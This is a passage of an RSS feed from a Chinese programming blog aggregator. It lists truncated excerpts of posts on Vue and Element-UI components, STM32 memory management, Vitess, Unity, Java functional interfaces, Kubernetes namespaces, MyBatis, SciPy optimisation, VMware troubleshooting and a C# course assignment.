      <description>父组件 &amp;lt;el-dialog :visible.sync=&#34;printDialog&#34; class=&#34;printDialog&#34;&amp;gt; &amp;lt;div ref=&#34;print&#34;&amp;gt; &amp;lt;section class=&#34;print-page page-a4&#34;&amp;gt; &amp;lt;acceptance-form :reg-id=&#34;printTableRegId&#34; @child-event=&#34;parentEvent&#34; /&amp;gt; &amp;lt;div class=&#34;print-bottom hidden-print noPrint&#34; /&amp;gt; &amp;lt;/section&amp;gt; &amp;lt;section v-for=&#34;(item,key) in forEachNum&#34; v-show=&#34;printNextPage&#34; :key=&#34;key&#34; class=&#34;print-page page-a4&#34;&amp;gt; &amp;lt;!-- page-size: 每页显示档号条数 --&amp;gt; &amp;lt;acceptance-form-copy :reg-id=&#34;printTableRegId&#34; :test-new-data=&#34;testNewData&#34; :page-count=&#34;pageCount&#34; :page-index=&#34;item&#34; :page-size=&#34;20&#34; @grandson-event=&#34;sonEvent&#34; /&amp;gt; &amp;lt;div class=&#34;print-bottom hidden-print noPrint&#34; /&amp;gt; &amp;lt;/section&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div style=&#34;margin-top: 1px; margin-left: 16px&#34; class=&#34;noPrint&#34;&amp;gt; &amp;lt;el-button type=&#34;primary&#34; size=&#34;medium&#34; class=&#34;el-icon-upload&#34; @click=&#34;getPdf()&#34;&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;保存&amp;lt;/el-button&amp;gt; &amp;lt;el-button type=&#34;primary&#34; size=&#34;medium&#34; class=&#34;el-icon-printer&#34; @click=&#34;print&#34;&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;打印&amp;lt;/el-button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/el-dialog&amp;gt; methods: { parentEvent(type, forEachNum, newArr, count, pageSize) { this.</description>
    </item>
    <item>
      <title>使用邻接矩阵实现商品SKU表单联动</title>
      <link>https://bchobby.github.io/posts/3a682fc83eaa7de016c54f4bd73c48f4/</link>
      <pubDate>Mon, 13 Jan 2020 08:53:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a682fc83eaa7de016c54f4bd73c48f4/</guid>
      <description>什么是邻接矩阵 不了解邻接矩阵，请查看邻接矩阵&#xA;邻接矩阵是一个用来描绘顶点与边关系的数据结构。它的本质是一个二维数组，适合用来处理最小数据单元之间的关联关系。邻接矩阵有两种模式：无向图以及有向图。无向图主要的特点是不表示方向点与点之间可以双向流通，有向图则包含方向两点间可单向亦可双向。他们主要应用在迷宫、简单地图、级联表单等等图形化场景&#xA;先看看我们要实现效果 交互分析 当用户选择青芒色的规格时，所有青芒色相关的可选项均亮起同规格可选项也为亮起状态，例如，选择青芒色时，所有颜色选项为亮起可选状态当用户选择图案类型时，在颜色以及图案的公共作用下，部分规格亮起最后用户选择尺码类型时，在颜色、图案以及尺码的公共作用下，产品规格确定更新规格选择无顺序要求 如果让后端下发一个递归的树结构1：会产生非常多的数据囤余。2：导致传输的数据量级变大。3：计算放在服务器加大服务器开销。&#xA;实现思路 1、获取后端数据 这里以七月老师提供的商品数据为例，由于数据太长，我们只列出部分数据。&#xA;const product = { &#34;id&#34;:2, .... &#34;sku_list&#34;:[ { &#34;id&#34;:2, &#34;price&#34;:77.76, &#34;discount_price&#34;:null, &#34;title&#34;:&#34;金属灰·七龙珠&#34;, .... &#34;specs&#34;:[ { &#34;key_id&#34;:1, &#34;key&#34;:&#34;颜色&#34;, &#34;value_id&#34;:45, &#34;value&#34;:&#34;金属灰&#34; }, { &#34;key_id&#34;:3, &#34;key&#34;:&#34;图案&#34;, &#34;value_id&#34;:9, &#34;value&#34;:&#34;七龙珠&#34; }, { &#34;key_id&#34;:4, &#34;key&#34;:&#34;尺码&#34;, &#34;value_id&#34;:14, &#34;value&#34;:&#34;小号 S&#34; } ], &#34;code&#34;:&#34;2$1-45#3-9#4-14&#34;, &#34;stock&#34;:5 }, .... ], &#34;spu_img_list&#34;:[ { &#34;id&#34;:165, .... } ], &#34;spu_detail_img_list&#34;:[ { &#34;id&#34;:24, .... } ], &#34;sketch_spec_id&#34;:1, &#34;default_sku_id&#34;:2 } 观察效果图，我们还需要一个规格属性列表，数据结构如下：&#xA;[{ key_id: 1, key: &#34;</description>
    </item>
    <item>
      <title>stm32 单片机的__attribute__ ((at())绝对定位及首次适应算法的动态内存管理</title>
      <link>https://bchobby.github.io/posts/b5edc94ef64ab65a9d73a0a3be2b2ced/</link>
      <pubDate>Sat, 11 Jan 2020 15:32:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5edc94ef64ab65a9d73a0a3be2b2ced/</guid>
      <description>本段代码可单独作为一个模块放心使用。 单片机中 __attribute__( at(绝对地址) )的作用分两个，一个是绝对定位到Flash，另个一是绝对定位到RAM/SDRAM。 1、定位到flash中，一般用于固化的信息，如ID卡的ID号，flash标记等等 2、定位到RAM/SDRAM中，一般用于数据量比较大的缓存，如动态内存分配的缓存，串口的接收缓存. 由于单片机的内存空间不够大，硬件设计会外加一个SDRAM等用来扩展存储空间。 这里为了方便动态内存管理所需要的较大缓存空间，就采用__attribute__( at(绝对地址) )定位到SDRAM，&#xA;#define MEM_BASE 0xD0700000&#xA;mem_TypeDef memory_pool __attribute__((at(MEM_BASE)));&#xA;//动态内存分配使用首次适应算法&#xA;/* Exported types ------------------------------------------------------------*/ #define SIZE_OF_PAGE 1024 #define MAX_PAGE_NUMBER 1024&#xA;#define MSHIFT_BIT 10&#xA;//内存表的结构体&#xA;typedef struct&#xA;{&#xA;uint32_t mallocBase; /* Memory pool base address */&#xA;uint16_t size[MAX_PAGE_NUMBER]; /* Sizes Table to allow safe deallocation */&#xA;uint8_t PageTable[MAX_PAGE_NUMBER]; /* Memory page state table &#39;1&#39;-&amp;gt; Allocated &#39;0&#39; -&amp;gt; Free */&#xA;}&#xA;mem_TypeDef;&#xA;//初始化内存表</description>
    </item>
    <item>
      <title>京东如何基于Vitess管理大型MySQL实例集群</title>
      <link>https://bchobby.github.io/posts/d7327bbf16b98a3e3b00398b454f18f2/</link>
      <pubDate>Sat, 11 Jan 2020 11:03:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7327bbf16b98a3e3b00398b454f18f2/</guid>
      <description>本文根据dbaplus社群第203期线上分享整理而成&#xA;讲师介绍&#xA;王云博&#xA;京东数据库高级研发工程师&#xA;2014年加入京东，一直致力于数据库运维自动化的发展；&#xA;2018年专注于京东弹性数据库研发、运维工作。&#xA;谢金科&#xA;2017年加入京东，致力于弹性库落地、周边生态开发及建设工作。&#xA;一、初识Vitess&#xA;MySQL作为关系型数据库的佼佼者，伴随着互联网技术的发展，已风靡全球十余年；但是MySQL单机存储能力有限。性能或者容量达到瓶颈后，就需要我们来进行改造。&#xA;当MySQL出现性能和存储瓶颈后，目前有2个大的解决方向。一个是利用程序或者数据库中间件（底层仍是MySQL）来实现分库分表,。这种中间件方案，我相信每个DBA或者相关研发人员，或多或少的都了解过或测试过。&#xA;另一个方向，就是使用分布式数据库直接解决，比如业内比较火的tidb，cockroachdb等。对于后者，我想没有人去否定它，它一定是关系型数据库的将来；因此一些大公司纷纷都在招募人马，积极发展自己的分布式关系型数据库，但是目前此类数据库还有一些问题亟待解决，因此传统的分库分表中间件还是有它成长和发展空间的。&#xA;我今天将向大家介绍一个集部署、扩展、管理大型MySQL实例集群的数据库解决方案：Vitess。&#xA;Vitess最初的名字是Voltron， Voltron是动画片里的人物形象，可以把多个部件汇总在一起组成超级机器人（隐喻Vitess是分布式系统），选择开源对外发布的时候，合伙人给这个产品起名为vitesse，法语中“速度”的意思，但这哥们由于拼写经常糊里糊涂的，漏写了一个e，后来也就这样了。(玩笑)&#xA;Vitess的里程碑：&#xA;2010年出生，2011年上线应用&#xA;2012年开源，2015年为云而生&#xA;2018年2月加入CNCF&#xA;2019年10月从CNCF毕业&#xA;CNCF有三个不同层次的项目：沙箱、孵化和毕业。目前只有8个项目毕业，这意味着它们符合最高水平的质量标准。有了CNCF的毕业认证背书，说明Vitess是质量可靠、社区完善、创新新颖的数据库中间件软件。&#xA;下面是一些客观数据，也说明Vitess是非常被业界认可的。&#xA;Github：9,000+ stars、17,000+ commits、190+ contributors、1200+ forks、1000+ Slack members&#xA;谁在使用：Youtube、Slack、Square、Pinterest、Github、BetterCloud等&#xA;使用环境：k8s/non k8s, AWS / GKE / EKS / Azure&#xA;1、Vitess主要特性&#xA;1）扩展性&#xA;Vitess集MySQL数据库的很多重要特性和NoSQL数据库的可扩展性于一体。&#xA;其内建拆分分片功能使用户的MySQL数据库集群可以实现无限水平扩展，同时无需为应用添加分片逻辑。&#xA;2）性能&#xA;Vitess避免了MySQL连接的高内存开销。Vitess服务器轻松地一次处理数千个连接。&#xA;Vitess自动重写对数据库性能有损害的查询。它还使用缓存机制来调解查询，并防止重复查询同时到达后端的数据库。&#xA;3）运维&#xA;Vitess可以支持自动处理主故障转移和备份等功能。&#xA;它使用分布式元数据服务来跟踪和管理服务器，使您的应用程序无需关心数据库拓扑变化。&#xA;4）Cloud-native&#xA;容器化（Containerized）：每个部分（应用程序，进程等）都封装在自己的容器中。这有助于重复性，透明度和资源隔离。&#xA;动态编排（Dynamically orchestrated）：动态的调度和管理容器以优化资源利用。&#xA;面向微服务（Microservices oriented）：应用程序基于微服务架构，显著提高架构演进的灵活性和可维护性。&#xA;2、Vitess架构&#xA;其中各个角色用途如下：&#xA;1）Vttablets部署在某个单独的MySQL实例之前，接管所有与该MySQL实例的通信和维护主、从架构。&#xA;2）Vitess需要一个拓扑服务器来存储其元数据。可以是etcd、zk、consul等。&#xA;3）Vtgate是无状态的proxy，可以动态的扩容。（由于proxy是带数据库连接状态的，缩容是需要注意的）&#xA;4）应用服务器可以连接到任何vtgate，甚至在请求之间。&#xA;5）vtctld是用于查看系统元数据，启动工作流，具备相关维护操作的web服务。&#xA;前面我们提到，Vitess为云而生，Vitess是如何做到的？&#xA;Vitess出生于youtube，part of google，vitess早于k8s，但已为k8s准备就绪，因为它在google内部服务于borg系统，而k8s的前身正是borg。云中的数据库是k8的最后一个领域，而Vites填补了这一空白。目前大规模使用k8s部署生产集群的公司有，JD 、Needlework Lab，Hub 。</description>
    </item>
    <item>
      <title>Unity 工具类 之 BlendShape 捏脸的实现</title>
      <link>https://bchobby.github.io/posts/3bfd757a2decf7788a22c2b345be711f/</link>
      <pubDate>Fri, 10 Jan 2020 22:46:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3bfd757a2decf7788a22c2b345be711f/</guid>
      <description>Unity 工具类 之 BlendShape 捏脸的实现 目录&#xA;Unity 工具类 之 BlendShape 捏脸的实现&#xA;一、简单介绍&#xA;二、实现原理&#xA;三、注意事项&#xA;四、效果预览&#xA;五、实现步骤&#xA;六、代码&#xA;七、参考工程&#xA;一、简单介绍 Blender 是一款开源的跨平台全能三维动画制作软件，提供从建模、动画、材质、渲染、到音频处理、视频剪辑等一系列动画短片制作解决方案。&#xA;在Unity程序开发中，使用 Blender 制作的模型，进行 BlendShap 捏脸的实现；&#xA;二、实现原理 1、通过控制改变 Skinned Mesh Renderer 的 BlendShapes 下的参数数值，来实现捏脸的效果&#xA;三、注意事项 1、Blender 中编辑模式下设置的值是实现好的捏脸效果的关键；&#xA;四、效果预览 五、实现步骤 1、打开Unity，新建一个工程，并且导入模型，添加到场景中，如下图&#xA;2、在场景中，添加几个Slider UI 组件，控制捏脸的数值，如下图&#xA;3、编写脚本，控制BlendShapes 对应数值的变化，把对应脚本挂载到对应组件上，如下图&#xA;4、运行场景，效果如下&#xA;六、代码 1、Singleton&#xA;using System.Collections; using System.Collections.Generic; using UnityEngine; public class Singleton&amp;lt;T&amp;gt; : MonoBehaviour where T:MonoBehaviour { private static T m_Instance; public static T Instance { get { return m_Instance; } } protected virtual void Awake() { m_Instance = this as T; } } 2、BlendShape</description>
    </item>
    <item>
      <title>Java学习笔记（十）：函数式接口</title>
      <link>https://bchobby.github.io/posts/c517a5552042225867f98d8c65c472ee/</link>
      <pubDate>Fri, 10 Jan 2020 15:56:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c517a5552042225867f98d8c65c472ee/</guid>
      <description>foochane ：https://foochane.cn/article/2020010402.html&#xA;文章目录 1 函数式接口1.1 概念1.2 格式1.3 @FunctionalInterface注解1.4 自定义函数式接口 2 函数式编程2.1 Lambda的延迟执行性能浪费的日志案例体验Lambda的更优写法证明Lambda的延迟 2.2 使用Lambda作为参数和返回值 3 常用函数式接口3.1 Supplier接口3.2 练习：求数组元素最大值题目解答 3.3 Consumer接口抽象方法：accept默认方法：andThen 3.4 练习：格式化打印信息题目解答 3.5 Predicate接口抽象方法：test默认方法：and默认方法：or默认方法：negate 3.6 练习：集合信息筛选题目解答 3.7 Function接口抽象方法：apply默认方法：andThen 3.8 练习：自定义函数模型拼接题目解答 1 函数式接口 1.1 概念 函数式接口在Java中是指：有且仅有一个抽象方法的接口。&#xA;函数式接口，即适用于函数式编程场景的接口。而Java中的函数式编程体现就是Lambda，所以函数式接口就是可以适用于Lambda使用的接口。只有确保接口中有且仅有一个抽象方法，Java中的Lambda才能顺利地进行推导。&#xA;备注：“语法糖”是指使用更加方便，但是原理不变的代码语法。例如在遍历集合时使用的for-each语法，其实底层的实现原理仍然是迭代器，这便是“语法糖”。从应用层面来讲，Java中的Lambda可以被当做是匿名内部类的“语法糖”，但是二者在原理上是不同的。&#xA;1.2 格式 只要确保接口中有且仅有一个抽象方法即可：&#xA;修饰符 interface 接口名称 { public abstract 返回值类型 方法名称(可选参数信息); // 其他非抽象方法内容 } 由于接口当中抽象方法的 public abstract 是可以省略的，所以定义一个函数式接口很简单：&#xA;public interface MyFunctionalInterface { void myMethod(); } 1.3 @FunctionalInterface注解 与 @Override 注解的作用类似，Java 8中专门为函数式接口引入了一个新的注解： @FunctionalInterface 。该注解可用于一个接口的定义上：</description>
    </item>
    <item>
      <title>Kubernetes中Namespace与Pod</title>
      <link>https://bchobby.github.io/posts/46df49ecbea47c2105ac3b90ac34e5c0/</link>
      <pubDate>Thu, 09 Jan 2020 18:48:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46df49ecbea47c2105ac3b90ac34e5c0/</guid>
      <description>一、Namespace 1）Namespace概述 Namespace是对一组资源和对象的抽象集合，比如可以用来将系统内部的对象划分为不同的项目组或用户组。常见的pods, services, replication controllers和deployments等都是属于某一个namespace的（默认是default），而node, persistentVolumes等则不属于任何namespace。&#xA;Namespace常用来隔离不同的用户，比如Kubernetes自带的服务一般运行在kube-system namespace中。&#xA;Kubernetes中的名称空间与docker中的名称空间不同。K8s中的名称空间只是做了一个逻辑上的隔离。&#xA;2）Namespace常用的命令 （1）查询 [root@master ~]# kubectl get namespaces //查看K8s中存在的名称空间 NAME STATUS AGE default Active 6d21h kube-node-lease Active 6d21h kube-public Active 6d21h kube-system Active 6d21h //namespace包含两种状态”Active”和”Terminating”。在namespace删除过程中，namespace状态被设置成”Terminating”。 [root@master ~]# kubectl describe namespaces default //查看default名称空间的详细信息 [root@master ~]# kubectl get pod --namespace=default [root@master ~]# kubectl get pod -n default //查看default名称空间中的pod资源（两者都可以） [root@master ~]# kubectl get pod //如果不指定，则默认也是查看default名称空间中的资源 （2）创建、删除 使用命令行创建&#xA;[root@master ~]# kubectl create namespace beijing //创建一个名称空间，名称为beijing //创建完成后，可以通过“kubectl get namespaces”命令查看到 [root@master ~]# kubectl delete namespace beijing //删除新创建的名称空间 使用yaml文件创建</description>
    </item>
    <item>
      <title>【python 3.6】ERROR: No matching distribution found for python-opencv</title>
      <link>https://bchobby.github.io/posts/7ca0ac0cf96572c11546fd620b1f803c/</link>
      <pubDate>Thu, 09 Jan 2020 18:36:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ca0ac0cf96572c11546fd620b1f803c/</guid>
      <description>python 3.6安装python-opencv出错：&#xA;改用命令 python -m pip install python-opencv即可。</description>
    </item>
    <item>
      <title>MyBatis方法参数详解</title>
      <link>https://bchobby.github.io/posts/41ea61cc82261eb81fdec4fc84245f26/</link>
      <pubDate>Thu, 09 Jan 2020 11:00:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41ea61cc82261eb81fdec4fc84245f26/</guid>
      <description>MyBatis方法参数详解 1. 单参数方法 单参数方法的参数详解, 主要介绍不同类型的参数,在Mapper映射文件中的配置方式.&#xA;参数为: 简单类型(基本数据类型+String)参数为: 对象类型参数为: List集合类型-List参数为: List集合类型-List参数为: 数组类型参数为: Set集合类型参数为: Map集合类型 1.1 简单类型 1.1.1 方法示例 public User findUserById(int id); 1.1.2 映射配置 &amp;lt;!-- public User findUserById(int id); --&amp;gt; &amp;lt;select id=&#34;findUserById&#34; resultType=&#34;com.itheima.domain.User&#34;&amp;gt; select * from user where id = #{id} &amp;lt;/select&amp;gt; &amp;lt;!-- 如果只有一个参数,且参数是基本数据类型,则#{}中,可以随便写. 如: #{aaa}也可以 --&amp;gt; 1.2 对象类型 1.2.1 方法示例 public List&amp;lt;User&amp;gt; findUserByUsernameAndPassword(User user); 1.2.2 映射配置 &amp;lt;!-- public List&amp;lt;User&amp;gt; findUserByUsernameAndPassword(User user); --&amp;gt; &amp;lt;select id=&#34;findUserByUsernameAndPassword&#34; resultType=&#34;com.itheima.domain.User&#34;&amp;gt; select * from user where username=#{username} and password=#{password} &amp;lt;/select&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>优化 | 利用SciPy求解非线性规划问题</title>
      <link>https://bchobby.github.io/posts/e9fba6382ab31e316a62076455c2806e/</link>
      <pubDate>Thu, 09 Jan 2020 09:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9fba6382ab31e316a62076455c2806e/</guid>
      <description>作者：莫斑炜&#xA;编者按：本文使用SciPy的optimize模块来求解非线性规划问题，结合实际例子，引入非线性规划问题的求解算法及相应函数的调用。&#xA;本文提纲&#xA;一维搜索／单变量优化问题&#xA;无约束多元优化问题&#xA;非线性最小二乘问题&#xA;约束优化问题&#xA;非线性规划问题的目标函数或约束条件是非线性的。本文使用SciPy的optimize模块来求解非线性规划问题。&#xA;目标函数和约束条件是否连续光滑是非常重要的性质，这是因为如果光滑，则所有决策变量可微，多变量函数的偏导数组成的向量为梯度，梯度是指向目标函数增长最快的方向。将目标函数梯度作为搜索方向，对非线性规划问题的求解具有重要的意义。这些函数或其导数\梯度的不连续性给许多现有的非线性优化问题的求解带来了困难。在下文中，我们假设这些函数是连续且光滑的。&#xA;# Importing Modules from scipy import optimize import matplotlib.pyplot as plt import numpy as np import sympy 1、一维搜索／单变量优化问题（Univariate Optimization）&#xA;无约束非线性规划最简单的形式是一维搜索。一维搜索通常作为多维优化问题中的一部分出现，比如梯度下降法中每次最优迭代步长的估计。求解一维搜索常用的两类方法是函数逼近法和区间收缩法。其中函数逼近法是指用较简单的函数近似代替原来的函数，用近似函数的极小点来估计原函数的极小点，比如牛顿法；区间收缩法对于一个单谷函数通过迭代以不断缩小该区间的长度，当区间长度足够小时，可将该区间中的一点作为函数的极小点，比如黄金分割法。&#xA;e.g. 最小化一个单位体积的圆柱体的表面积。&#xA;Objective s.t. 目标函数为圆柱体的表面积，约束条件为圆柱体体积为1。变量为r、h，这是一个带等式约束的二维优化问题。根据等式约束条件，可得 ，代入目标函数得到一维搜索： 。该问题可通过求解导数为0的方法来求解。&#xA;r, h = sympy.symbols(&#34;r, h&#34;) Area = 2 * sympy.pi * r**2 + 2 * sympy.pi * r * h Volume = sympy.pi * r**2 * h h_r = sympy.solve(Volume - 1)[0] Area_r = Area.</description>
    </item>
    <item>
      <title>VMware Workstation Pro虚拟机开启关闭常见问题的解决方法</title>
      <link>https://bchobby.github.io/posts/4db80d73fe87dee4f4a439b0e82cb07c/</link>
      <pubDate>Wed, 08 Jan 2020 23:05:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4db80d73fe87dee4f4a439b0e82cb07c/</guid>
      <description>使用虚拟机时多次出现启动和关闭的各种问题，通过查询资料和个人实践，总结了几个常见问题的解决方法。如有错误，感谢提醒更正。&#xA;开启异常问题 1.“该虚拟机似乎正在使用中”&#xA;错误原因：没有正常关闭虚拟机系统。&#xA;解决方法：&#xA;到提示框所给的“配置文件”文件夹路径中，删除找到.lck文件，即可打开虚拟系统。&#xA;提示：.lck文件每次打开虚拟机都会生成，每次正常关闭虚拟机都会删除。&#xA;2.未能启动VMware Authorization Service&#xA;解决方法：&#xA;右键我的电脑，点击“管理”，选择“服务”。（也可以用快捷方式 win+R，输入services.msc）&#xA;找到VMware Authorization Service，启动该服务。从网上查资料讲也可以改为自动。&#xA;3.管道占用。未能将管道连接到虚拟机: 所有的管道范例都在使用中。&#xA;解决方法步骤：&#xA;1）使用win + r快捷键，在命令行输入services.msc进入服务。&#xA;2）禁用以下vmware workstation server服务。重启电脑后vmware workstation vmx.exe进程即不存在。&#xA;3）重新打开vmware workstation server服务，将该服务改为自动。再次启动虚拟机，成功。&#xA;！注意：或用另一种方式禁用服务：使用win + r快捷键，在命令行中输入msconfig，然后禁用与VMware相关的服务。根据提示重启电脑后该进程不存在。之后用相同的方法全部启用服务，即可打开虚拟机。&#xA;4.开启之后没有反应，也无法进行其他操作。&#xA;（这里与下文“虚拟机繁忙”无法关闭状态相同）&#xA;关闭异常问题 虚拟机繁忙&#xA;解决方法：&#xA;1）打开任务管理器，从进程中删除vmware workstation vmx.exe（如图），重新打开虚拟机即可。&#xA;！！在这里我出现了问题，该进程无法关闭，我通过任务管理器强行关闭该进程（如图），之后会出现新的问题：无法启动虚拟机，通过网上查询资料决定重启服务，转到上文虚拟机启动异常问题。</description>
    </item>
    <item>
      <title>element-UI&#43;VUE 实现el-table双击单元格编辑（智能操作！不沙雕！看我就对了）</title>
      <link>https://bchobby.github.io/posts/3349e6b56bc0e12d1277c98ea0b80354/</link>
      <pubDate>Wed, 08 Jan 2020 11:11:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3349e6b56bc0e12d1277c98ea0b80354/</guid>
      <description>浏览了很多智慧的结晶，要么操作傻瓜，要么过于复杂（不必要的），还有的虽然实现了操作，但逻辑上让我难受。所以自己实操成功后整合一篇。&#xA;本篇博客涉及到的点有：（后面详解）&#xA;el_table双击单元格实现编辑操作el-input回车操作enter与失焦事件blur冲突（会触发两次导致操作异常）如果是组件之间操作，tableData是从父组件通过props接过来的，在本子页面中定义了另一个空数组赋值过来，需要增加this.tableData = [...this.tableData]操作，el-input的autofocus只有第一次触发，如何解决。 思路是：给每一个需要可操作的单元格内容增加各自对应的标志位flag，通过变flag的值为true或false，判断显示文字内容或input内容。&#xA;下面详解：&#xA;第一步：从父组件接收表格内容（如果是单页面操作此步省略）&#xA;props:{ tab2list:Array, }, 第二步：data中定义一个空数组，准备赋值表格内容，页面绑定这个空数组（也可以直接绑定tab2list，那就省略这一步，后面所有的tableData替换为tab2list即可）&#xA;data() { return { tableData:[],//用来展示 }; }, 第三步：编写代码。首先是template部分。&#xA;&amp;lt;el-table max-height=&#34;650&#34; :data=&#34;tableData&#34; style=&#34;width: 100%&#34;&amp;gt; &amp;lt;el-table-column :show-overflow-tooltip=&#34;true&#34; align=&#34;center&#34; prop=&#34;enddate&#34; label=&#34;日期&#34; sortable width=&#34;250&#34;&amp;gt; &amp;lt;template slot-scope=&#34;scope&#34;&amp;gt; &amp;lt;div @dblclick=&#34;changeEnddate(scope.$index,scope.row)&#34; style=&#34;height: 40px;line-height: 40px;&#34;&amp;gt; &amp;lt;span v-show=&#34;!scope.row.edit_enddate&#34;&amp;gt;{{scope.row.enddate}}&amp;lt;/span&amp;gt; &amp;lt;!--:autofocus=&#34;true&#34;--&amp;gt; &amp;lt;el-input :ref=&#39;&#34;enddateinput&#34;+scope.$index&#39; @blur=&#34;enddateblur(scope.$index,scope.row)&#34; @keyup.enter.native=&#34;$event.target.blur&#34; clearable v-show=&#34;scope.row.edit_enddate&#34; size=&#34;mini&#34; v-model=&#34;scope.row.enddate&#34; placeholder=&#34;请输入内容&#34;&amp;gt;&amp;lt;/el-input&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column :show-overflow-tooltip=&#34;true&#34; align=&#34;center&#34; label=&#34;数据&#34; width=&#34;230&#34;&amp;gt; &amp;lt;template slot-scope=&#34;scope&#34;&amp;gt; &amp;lt;div @dblclick=&#34;changeValue(scope.$index,scope.row)&#34; style=&#34;height: 40px;line-height: 40px;&#34;&amp;gt; &amp;lt;span v-show=&#34;!scope.row.edit_value&#34;&amp;gt;{{scope.row.value}}&amp;lt;/span&amp;gt; &amp;lt;!--:autofocus=&#34;true&#34;--&amp;gt; &amp;lt;el-input :ref=&#39;&#34;</description>
    </item>
    <item>
      <title>记一次傻逼过程，使用Vue的markdown组件mavon-editor</title>
      <link>https://bchobby.github.io/posts/aeaf30d21a70ac05ae0ee504be445250/</link>
      <pubDate>Tue, 07 Jan 2020 18:33:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aeaf30d21a70ac05ae0ee504be445250/</guid>
      <description>阿。&#xA;要被自己气死了。&#xA;总的来说还是对Vue的语法不熟悉，才闹出了这种乌龙。。&#xA;上图吧。&#xA;Vue.use(MavonEditor); var app = new Vue({ el : &#39;#main&#39;, data(){ return { value : &#39;&#39;} } }) console.log(window); 这里就是一个组件的注册，引入GitHub上大神写好的组件&#xA;mavon-Editor&#xA;这里那些icon没有显示出来，是因为我没有引入css文件，等吃个饭回来调调。。&#xA;效果说完了，来说说我反的错吧，反思反思。。&#xA;第一&#xA;直接根据github上的示例引入组件，却没有去想到import只能在npm工程中使用，导入的是保存在package.json中的组件。&#xA;// 全局注册 // import with ES6 import Vue from &#39;vue&#39; import mavonEditor from &#39;mavon-editor&#39; import &#39;mavon-editor/dist/css/index.css&#39; // use Vue.use(mavonEditor) new Vue({ &#39;el&#39;: &#39;#main&#39;, data() { return { value: &#39;&#39; } } }) 第二&#xA;在use里面引入的是cdn的路径。。这个我是真的傻了。&#xA;应该如同我上面所写的，在页面中声明cdn的js文件，在windows上注册只会，再注册组件。。&#xA;Vue.use(&#34;https://weleness-1300955279.cos.ap-guangzhou.myqcloud.com/cdn/js/mavon-editor/mavon-editor.js&#34;); var app = new Vue({ el : &#39;#main&#39;, data(){ return { value : &#39;&#39;} } }) 好了。</description>
    </item>
    <item>
      <title>c#程序设计  大作业</title>
      <link>https://bchobby.github.io/posts/e11d3401951fe470d431d1e799a2b7ed/</link>
      <pubDate>Tue, 07 Jan 2020 17:05:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e11d3401951fe470d431d1e799a2b7ed/</guid>
      <description>第一题： 控制台程序设计题,设计一个有继承机制下类的层次化结构程序, 该程序中基类为一个圆Circle是抽象类,在Circle类中定义数据成员半径r,圆心位置坐标p(x,Y)为另外一个Point类的对象,以及抽象方法area()和volume()方法。通过该Circle类派生出球体Sphere类和圆柱体Cylinder类以及圆锥体Cone类,在派生类中分别对计算面积方法area()和体积的方法volume()两个抽象方法进行了重写,并通过定义show()方法显示基本信息.请通过生成对象的方式测试这个程序完成以下的要求.&#xA;要求：&#xA;1． 通过生成派生类对象的方式,调用类的构造函数完成对象的初始化,具体数据可以由设计者给出;合理调用方法area()和方法volume()计算各个派生类对象的面积和体积,并且根据体积的大小排序后调用show()方法依次显示输出体积和坐标位置信息。&#xA;2． 进一步思考说明:设计的程序中包含了c#语言程序设计中那些重要的语法知识点,请在文档中加以说明,并简单论述该知识点的语法特点.&#xA;第二题：多窗体程序设计绘图题，设计一个多窗体的应用程序，分类统计一个社区居民的业余兴趣爱好并绘制图表显示，要求通过主窗体和弹出对话框的数据交互以实现对社区居民的业余兴趣爱好的调查统计，业余爱好选则主要有体育运动锻炼，文体活动，影视多媒体，休闲生活，阅读等,要求可以多选。&#xA;要求：通过单击主窗体上的统计按钮，弹出社区居民业余爱好调查的对话框，然后在该对话框中选择相应的选项选择不同的业余爱好，并输入居民的年龄；调查完毕后根据社区居民不同年龄段分类进行统计各项业余爱好的具体人数。主窗体获取并且显示居民在不同年龄段的各项业余爱好的具体人数。（注：居民的人数，业余爱好的名称，分类的年龄段都可以设计者定义）&#xA;说明：&#xA;1．要求通过设计主窗体和弹出窗体的基本框架结构，编码以实现两者之间的数据交互完成所需的数据统计功能。&#xA;2. 思考设计 :将分类统计后的数据以数据表格的形式,通过条形图或其它图形在窗体中绘制显示输出，进一步思考如何将绘制的图形有效的保存在文件中，并且能够打开恢复。&#xA;第三题：窗体和文件程序设计题：在.NET平台下，模拟设计一个学生会干部人员的基本信息登录和管理的窗体程序，并能对输入的数据进行有效的文件读写和访问,该系统设计功能要求如下： 该窗体程序需要统计的成员信息有：年级、班级、姓名、学号、学生会部门职位等; 程序要求通过利用窗体和控件设计,实现学生会干部人员基本信息的添加、删除、修改等功 能,并能提供有效关键字的有效查询,在窗体上正确显示。&#xA;思考并进一步设计: 通过对成员基本数据信息以对象串行化的方式，把成员基本数据信息保存在数据文件中，也能够从文件中正确读出显示在窗体控件中。 说明：&#xA;1.要求实现程序的基本功能要求，能够按程序要求编译生成可执行文件。&#xA;2.优化和实现窗体所要求的各项功能,数据能通过文件进行有效的读写操作。&#xA;C#程序设计 评分标准&#xA;说明:&#xA;大作业的格式标准要求&#xA;1. 每个同学的作品是用Vs.NET开发环境制作完成。&#xA;2. 每个同学的作品存放在一个单独的文件夹中，其中可以包括大作业报告文档,以及三道完成的题目源代码，该文件夹的名称就是该学生的班级，姓名，及学号。&#xA;3. 每个学生的作品必须按照老师规定的方式上交，在规定时间内统一上交给指定的同学,由该同学统一收取电子档。&#xA;评分标准,共三题100分,要求三题都必须完成&#xA;第一题 